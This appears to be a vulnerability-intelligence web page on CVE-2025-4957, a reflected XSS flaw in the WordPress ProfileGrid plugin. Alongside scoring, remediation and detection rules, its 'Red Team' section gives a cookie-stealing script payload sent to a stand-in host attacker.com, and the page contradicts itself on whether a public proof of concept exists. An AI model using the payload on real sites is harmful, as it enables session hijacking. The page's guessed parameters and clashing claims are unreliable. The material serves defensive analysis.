☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Metagauss logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4957

CVE-2025-4957 Cross-Site Scripting in Metagauss
📅 PUBLISHED: 2025-09-26 09:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4957 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ProfileGrid (profilegrid-user-profiles-groups-and-communities), affecting versions from n/a through 5.9.5.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the victim's browser session.

This vulnerability is particularly concerning for WordPress site administrators using ProfileGrid for community management, as it exposes users to phishing and data exfiltration attacks. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is released. No known malicious packages have been identified in the supply chain.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The "Changed" scope indicates that the injected script can affect resources beyond the vulnerable component, such as other browser tabs or cookies. The requirement for user interaction (e.g., clicking a link) slightly reduces the immediate risk but does not eliminate the potential for widespread phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the ProfileGrid plugin's handling of user input within URL parameters or form fields. When a user submits a request containing malicious input (e.g., via a crafted URL), the plugin fails to sanitize or encode the input before reflecting it in the HTML response. This allows an attacker to inject arbitrary JavaScript that executes in the victim's browser.

Root Cause: The plugin uses echo or print statements to output user-supplied data without proper escaping (e.g., esc_html() or esc_attr() in WordPress context). For example, a parameter like ?search=<script>alert('XSS')</script> might be directly embedded in the page.

Attack Flow:

  1. Attacker crafts a malicious URL containing JavaScript payload.
  2. Victim clicks the link (e.g., via email or social engineering).
  3. The vulnerable plugin reflects the payload in the response.
  4. The victim's browser executes the script, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a template or shortcode handler
$search = $_GET['search'];
echo '<div class="search-result">' . $search . '</div>';

Patched Code (Expected):

$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">' . esc_html($search) . '</div>';

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with ProfileGrid <= 5.9.5.7 installed and activated.
  • A victim user with an active session.

Exploitation Steps:

  1. Identify a vulnerable parameter (e.g., search, user, group).
  2. Craft a payload: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
  3. Encode the payload for URL: %3Cscript%3Edocument.location%3D'https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D'%2Bdocument.cookie%3C%2Fscript%3E
  4. Send the crafted link to the victim: http://target.com/?search=%3Cscript%3Edocument.location%3D'https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D'%2Bdocument.cookie%3C%2Fscript%3E
  5. Set up a listener on attacker.com to capture cookies.

No public exploit code is available for this CVE.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script>, onerror, onload, or other XSS indicators in URL parameters.
  • Use WAF rules to block reflected XSS patterns.
  • Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Hunting:

  • Search for profilegrid in WordPress plugin directories and verify version.
  • Scan for known vulnerable parameters using automated tools.

Indicators of Compromise (IOCs)

  • URL Patterns: /?search=<script>, /?user=<script>, /?group=<script>
  • Network Traffic: Outbound connections to attacker-controlled domains from victim browsers.
  • Log Entries: HTTP 200 responses containing unescaped <script> tags in the body.
  • File Hashes: No specific file hashes; focus on plugin version.

Detection Engineering

YARA Rule

rule CVE_2025_4957_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting ProfileGrid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4957"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $profilegrid_param = /[?&](search|user|group)=/i
    condition:
        $profilegrid_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against ProfileGrid Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects reflected XSS attempts in URL parameters targeting ProfileGrid
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?search='
            - '?user='
            - '?group='
        c-uri|re: '<script[^>]*>.*?</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4957 Reflected XSS in ProfileGrid"; flow:to_server,established; content:"?search="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ProfileGrid plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  3. Educate users not to click suspicious links and to report unusual behavior.

Long-term Fix:

  • Apply input sanitization and output escaping in all plugin templates (e.g., esc_html(), esc_attr()).
  • Use WordPress nonces and capability checks to prevent unauthorized requests.
  • Monitor the plugin repository for updates and apply patches promptly.

Workaround:

  • Add custom .htaccess rules to block requests containing <script> in query strings:
RewriteEngine On
RewriteCond %{QUERY_STRING} <script [NC,OR]
RewriteCond %{QUERY_STRING} <script> [NC]
RewriteRule .* - [F,L]

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ProfileGrid"
http.html:"profilegrid-user-profiles-groups-and-communities"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4957/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.